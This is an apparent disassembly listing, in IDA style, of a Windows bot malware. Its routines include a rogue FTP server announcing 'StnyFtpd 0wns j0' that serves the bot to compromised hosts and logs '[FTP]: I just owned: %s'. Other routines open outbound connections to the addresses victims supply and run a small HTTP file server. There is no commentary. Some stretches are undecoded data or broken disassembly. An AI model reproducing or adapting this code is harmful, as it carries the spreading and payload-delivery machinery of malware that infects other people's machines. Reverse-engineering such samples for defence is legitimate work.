dd 8B004D12h, 0FFCE83F8h, 4575FE3Bh, 75E45D39h, 858D5320h
dd 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh, 0FFFF50B5h
dd 0AA88E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh, 684DE8h
dd 54B5FF00h, 0E8FFFFFFh, 0FFFFC3C6h, 0E8535959h, 731094h
dd 54858BADh, 6AFFFFFFh, 34C06910h, 89000002h, 44412CB8h
dd 0EC458D00h, 15FF5750h, 4D121Ch, 0BBC63Bh, 0F000004h
dd 0CF85h, 8415FF00h, 3D004D11h, 2740h, 0F6334774h, 75E47539h
dd 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh
dd 0FFFF50B5h, 0AA08E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh
dd 67CDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC346h, 0E8565959h
dd 731014h, 0FFFE6863h, 0E8530000h, 9F25h, 3F3CA359h, 6659004Dh
dd 8DEE4589h, 106AEC45h, 15FF5750h, 4D121Ch, 5475C63Bh
dd 118415FFh, 0F633004Dh, 75E47539h, 27403D27h, 20740000h
dd 40858D56h, 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh
dd 0FFFFFF50h, 0FFA98DE8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh
dd 6752h, 0FF54B5FFh, 0CBE8FFFFh, 59FFFFC2h, 99E85659h
dd 0B600730Fh, 0FF57056Ah, 4D121815h, 0FC63B00h, 0D484h
dd 0FC45C700h, 10h, 429100BEh, 0FC458D00h, 40858D50h, 50FFFFFFh
dd 8415FF57h, 83004D12h, 4589FFF8h, 83E67408h, 7500E47Dh
dd 8D006A21h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
dd 0FF50B5FFh, 0FE8FFFFh, 83FFFFA9h, 858D14C4h, 0FFFFFD40h
dd 66D4E850h, 8D590000h, 0FFFD4085h, 68006AFFh, 200h, 875FF50h
dd 120815FFh, 0F883004Dh, 569674FFh, 2035FF56h, 0FF004D0Fh
dd 0FFFF50B5h, 0BA68E8FFh, 5059FFFFh, 43B87468h, 40858D00h
dd 53FFFFF9h, 0CF1AE850h, 0C4830000h, 40858D1Ch, 6AFFFFF9h
dd 69E85000h, 590000C7h, 40858D50h, 50FFFFF9h, 0FF0875FFh
dd 4D124015h, 0FFF88300h, 0FF43840Fh, 5FFFFFFh, 4D3F44h
dd 0FFFF38E9h, 15FF57FFh, 4D1288h, 0FF54B5FFh, 0CBE8FFFFh
dd 59FFFFC1h, 99E8006Ah, 0B700730Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F168 proc near ; DATA XREF: sub_40B9DD+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call dword_4271F0 ; WSAStartup
push esi
push ebx
push 2
call dword_42721C ; socket
mov esi, dword_427210
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; dword_427210
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; dword_427210
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call dword_4271F4 ; ioctlsocket
mov ax, word ptr dword_4D0F20
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4D11F0 ; ntohs
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call dword_4271F8 ; bind
test eax, eax
jge short loc_40F22E
mov eax, ebx
jmp loc_40F773
; ---------------------------------------------------------------------------
loc_40F22E: ; CODE XREF: sub_40F168+BDj
push 0Ah
push edi
call dword_4271FC ; listen
mov [ebp+var_22C], ebx
mov ebx, dword_427220
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40F24C: ; CODE XREF: sub_40F168+11Dj
; sub_40F168+603j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_427224 ; select
cmp eax, 0FFFFFFFFh
jz loc_40F770
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40F24C
loc_40F287: ; CODE XREF: sub_40F168+5FDj
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BC40
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41BC40
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_4265E8 ; __WSAFDIsSet
test eax, eax
jz loc_40F75E
cmp edi, [ebp+var_8]
jnz short loc_40F33E
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call dword_427200 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F75E
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40F308
lea edx, [ebp+var_228]
loc_40F2F8: ; CODE XREF: sub_40F168+19Ej
cmp [edx], eax
jz short loc_40F308
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40F2F8
loc_40F308: ; CODE XREF: sub_40F168+188j
; sub_40F168+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40F326
cmp [ebp+var_22C], 40h
jnb short loc_40F326
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40F326: ; CODE XREF: sub_40F168+1A6j
; sub_40F168+1AFj
cmp eax, [ebp+var_4]
jle short loc_40F32E
mov [ebp+var_4], eax
loc_40F32E: ; CODE XREF: sub_40F168+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; dword_427220
jmp loc_40F75E
; ---------------------------------------------------------------------------
loc_40F33E: ; CODE XREF: sub_40F168+15Aj
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_427214 ; recv
test eax, eax
jg short loc_40F3A5
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F399
lea eax, [ebp+var_228]
loc_40F365: ; CODE XREF: sub_40F168+207j
cmp [eax], edi
jz short loc_40F373
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40F365
jmp short loc_40F399
; ---------------------------------------------------------------------------
loc_40F373: ; CODE XREF: sub_40F168+1FFj
dec edx
cmp ecx, edx
jnb short loc_40F393
lea eax, [ebp+ecx*4+var_228]
loc_40F37F: ; CODE XREF: sub_40F168+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40F37F
loc_40F393: ; CODE XREF: sub_40F168+20Ej
dec [ebp+var_22C]
loc_40F399: ; CODE XREF: sub_40F168+1F5j
; sub_40F168+209j
push edi
call dword_427218 ; closesocket
jmp loc_40F75E
; ---------------------------------------------------------------------------
loc_40F3A5: ; CODE XREF: sub_40F168+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_0 ; "%s %s"
push eax
call sub_41CCE5
lea eax, [ebp+var_B0]
push offset aUser_0 ; "USER"
push eax
call sub_41C710
add esp, 18h
test eax, eax
jnz short loc_40F3E9
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F46B
; ---------------------------------------------------------------------------
loc_40F3E9: ; CODE XREF: sub_40F168+272j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F40A
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp short loc_40F46B
; ---------------------------------------------------------------------------
loc_40F40A: ; CODE XREF: sub_40F168+296j
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F42B
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp short loc_40F46B
; ---------------------------------------------------------------------------
loc_40F42B: ; CODE XREF: sub_40F168+2B7j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F44C
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp short loc_40F46B
; ---------------------------------------------------------------------------
loc_40F44C: ; CODE XREF: sub_40F168+2D8j
lea eax, [ebp+var_B0]
push offset off_43BA98
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F471
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
loc_40F46B: ; CODE XREF: sub_40F168+27Cj
; sub_40F168+2A0j ...
push edi
jmp loc_40F747
; ---------------------------------------------------------------------------
loc_40F471: ; CODE XREF: sub_40F168+2F9j
mov edi, offset aType ; "TYPE"
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F4AD
lea eax, [ebp+var_338]
push offset aA ; "A"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F4AD
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F744
; ---------------------------------------------------------------------------
loc_40F4AD: ; CODE XREF: sub_40F168+31Fj
; sub_40F168+336j
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F4E4
lea eax, [ebp+var_338]
push offset aI ; "I"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F4E4
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F744
; ---------------------------------------------------------------------------
loc_40F4E4: ; CODE XREF: sub_40F168+356j
; sub_40F168+36Dj
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F52F
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F522: ; CODE XREF: sub_40F168+406j
push eax
push [ebp+arg_0]
call ebx ; dword_427220
xor esi, esi
jmp loc_40F749
; ---------------------------------------------------------------------------
loc_40F52F: ; CODE XREF: sub_40F168+391j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F570
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F522
; ---------------------------------------------------------------------------
loc_40F570: ; CODE XREF: sub_40F168+3DCj
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40F63E
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41CCE5
lea eax, [ebp+var_FC]
push eax
call sub_41BE29
mov edi, eax
lea eax, [ebp+var_2D4]
push eax
call sub_41BE29
mov [ebp+var_C], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41BC40
push [ebp+var_C]
lea eax, [ebp+var_FC]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41BF36
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_41C45E
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41BF36
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F744
; ---------------------------------------------------------------------------
loc_40F63E: ; CODE XREF: sub_40F168+41Dj
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40F725
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push [ebp+arg_0]
call ebx ; dword_427220
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F77A
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F71B
cmp [ebp+var_444], esi
jnz short loc_40F6A8
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_4099D2
add esp, 14h
loc_40F6A8: ; CODE XREF: sub_40F168+51Bj
call loc_40F7F7
cmp eax, 1
jnz loc_40F749
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push [ebp+arg_0]
call ebx ; dword_427220
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpIJustOwnedS ; "[FTP]: I just owned: %s"
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F706
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_4099D2
add esp, 14h
loc_40F706: ; CODE XREF: sub_40F168+579j
lea eax, [ebp+var_8E0]
push eax
call sub_4157A6
inc dword_4D3D00
pop ecx
jmp short loc_40F749
; ---------------------------------------------------------------------------
loc_40F71B: ; CODE XREF: sub_40F168+50Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F744
; ---------------------------------------------------------------------------
loc_40F725: ; CODE XREF: sub_40F168+4EBj
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40F749
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F744: ; CODE XREF: sub_40F168+340j
; sub_40F168+377j ...
push [ebp+arg_0]
loc_40F747: ; CODE XREF: sub_40F168+304j
call ebx ; dword_427220
loc_40F749: ; CODE XREF: sub_40F168+3C2j
; sub_40F168+548j ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BC40
mov edi, [ebp+arg_0]
add esp, 0Ch
loc_40F75E: ; CODE XREF: sub_40F168+151j
; sub_40F168+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F287
jmp loc_40F24C
; ---------------------------------------------------------------------------
loc_40F770: ; CODE XREF: sub_40F168+10Fj
push 1
pop eax
loc_40F773: ; CODE XREF: sub_40F168+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F168 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F77A proc near ; CODE XREF: sub_40F168+505p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4271F0 ; WSAStartup
push 0
push 1
push 2
call dword_42721C ; socket
push [ebp+arg_0]
mov dword_4D3F48, eax
mov [ebp+var_10], 2
call dword_427230 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_427208 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4D3F48
call dword_42720C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F7F2
push dword_4D3F48
call dword_427218 ; closesocket
call dword_4271EC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F7F2: ; CODE XREF: sub_40F77A+60j
push 1
pop eax
leave
retn
sub_40F77A endp
; ---------------------------------------------------------------------------
loc_40F7F7: ; CODE XREF: sub_40F168:loc_40F6A8p
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
call near ptr 0B40000h
; ---------------------------------------------------------------------------
dd 0FC858DD9h, 68FFFFFEh, 429070h, 0C392E850h, 0F08B0000h
dd 59F68559h, 46F66074h, 3E75100Ch, 400BF57h, 6A560000h
dd 0FC858D01h, 57FFFFFAh, 0C146E850h, 0C4830000h, 0FC858D10h
dd 6AFFFFFAh, 0FF505700h, 4D3F4835h, 2015FF00h, 6A004272h
dd 6415FF01h, 0F6004270h, 74100C46h, 0E8565FC9h, 0C093h
dd 4835FF59h, 0FF004D3Fh, 42721815h, 0EC15FF00h, 6A004271h
dd 0C95E5801h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F891 proc near ; DATA XREF: .nsp0:00403D4Eo
; sub_40B9DD+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C1D0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BC40
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4D11F0 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4D1270 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FC7C
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_44412C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4D121C ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FC7C
push 7FFFFFFFh
push edi
call dword_4D1218 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FC7C
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4D128C ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FC7C
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F968: ; CODE XREF: sub_40F891+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4D11D8 ; select
cmp eax, 0FFFFFFFFh
jz loc_40FC77
xor esi, esi
mov [ebp+var_4], esi
loc_40F99E: ; CODE XREF: sub_40F891+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4D10DC ; __WSAFDIsSet
test eax, eax
jz loc_40FC62
cmp esi, [ebp+var_C]
jnz short loc_40FA20
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4D1284 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FC62
xor ecx, ecx
test ebx, ebx
jbe short loc_40F9F2
lea edx, [ebp+var_134]
loc_40F9E6: ; CODE XREF: sub_40F891+15Fj
cmp [edx], eax
jz short loc_40F9F2
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F9E6
loc_40F9F2: ; CODE XREF: sub_40F891+14Dj
; sub_40F891+157j
cmp ecx, ebx
jnz short loc_40FA0F
cmp ebx, 40h
jnb short loc_40FA0F
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FA0F: ; CODE XREF: sub_40F891+163j
; sub_40F891+168j
cmp eax, [ebp+var_8]
jbe loc_40FC62
mov [ebp+var_8], eax
jmp loc_40FC62
; ---------------------------------------------------------------------------
loc_40FA20: ; CODE XREF: sub_40F891+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BC40
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BC40
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4D1208 ; recv
test eax, eax
jg short loc_40FAB3
push esi
call dword_4D1288 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40FC62
lea eax, [ebp+var_134]
loc_40FA72: ; CODE XREF: sub_40F891+1EBj
cmp [eax], esi
jz short loc_40FA83
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FA72
jmp loc_40FC62
; ---------------------------------------------------------------------------
loc_40FA83: ; CODE XREF: sub_40F891+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FAA7
lea eax, [ebp+ecx*4+var_134]
loc_40FA91: ; CODE XREF: sub_40F891+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FA91
loc_40FAA7: ; CODE XREF: sub_40F891+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FC62
; ---------------------------------------------------------------------------
loc_40FAB3: ; CODE XREF: sub_40F891+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BC40
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B890
add esp, 10h
test eax, eax
jbe loc_40FC62
loc_40FAE1: ; CODE XREF: sub_40F891+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FB86
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_40FB5A
lea eax, [ebp+var_18F0]
push eax
call sub_41B890
cmp eax, 5
pop ecx
jbe short loc_40FB5A
mov eax, offset asc_43368C ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41BFB0
pop ecx
pop ecx
push eax
call sub_41BFB0
pop ecx
pop ecx
push eax
call sub_41C794
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C550
add esp, 10h
jmp short loc_40FB71
; ---------------------------------------------------------------------------
loc_40FB5A: ; CODE XREF: sub_40F891+27Fj
; sub_40F891+291j
lea eax, [ebp+var_18F0]
push offset asc_43BB50 ; "\r\n"
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_40FBA5
loc_40FB71: ; CODE XREF: sub_40F891+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BC40
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FB86: ; CODE XREF: sub_40F891+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B890
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FAE1
jmp loc_40FC62
; ---------------------------------------------------------------------------
loc_40FBA5: ; CODE XREF: sub_40F891+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FBEF
lea eax, [ebp+var_134]
loc_40FBB1: ; CODE XREF: sub_40F891+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FBC2
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FBB1
jmp short loc_40FBF2
; ---------------------------------------------------------------------------
loc_40FBC2: ; CODE XREF: sub_40F891+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FBE6
lea eax, [ebp+ecx*4+var_134]
loc_40FBD0: ; CODE XREF: sub_40F891+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FBD0
loc_40FBE6: ; CODE XREF: sub_40F891+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FBF2
; ---------------------------------------------------------------------------
loc_40FBEF: ; CODE XREF: sub_40F891+318j
mov esi, [ebp+var_4]
loc_40FBF2: ; CODE XREF: sub_40F891+32Fj
; sub_40F891+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FC5B
lea eax, [ebp+var_360]
push eax
call sub_41B890
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B890
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FC5B
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4D128C ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call loc_40FE6E
add esp, 14h
jmp short loc_40FC62
; ---------------------------------------------------------------------------
loc_40FC5B: ; CODE XREF: sub_40F891+369j
; sub_40F891+38Fj
push esi
call dword_4D1288 ; closesocket
loc_40FC62: ; CODE XREF: sub_40F891+11Dj
; sub_40F891+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F99E
jmp loc_40F968
; ---------------------------------------------------------------------------
loc_40FC77: ; CODE XREF: sub_40F891+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FC7C: ; CODE XREF: sub_40F891+6Aj
; sub_40F891+92j ...
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_43BB28
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FCC2
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_4099D2
add esp, 14h
loc_40FCC2: ; CODE XREF: sub_40F891+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4157A6
pop ecx
push edi
call dword_4D1288 ; closesocket
push [ebp+var_254]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
xor al, 5Fh
pop esi
pop ebx
sub_40F891 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FCEC proc near ; DATA XREF: .nsp0:004100B4o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C1D0
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41BF36
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41BF36
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_40FD51
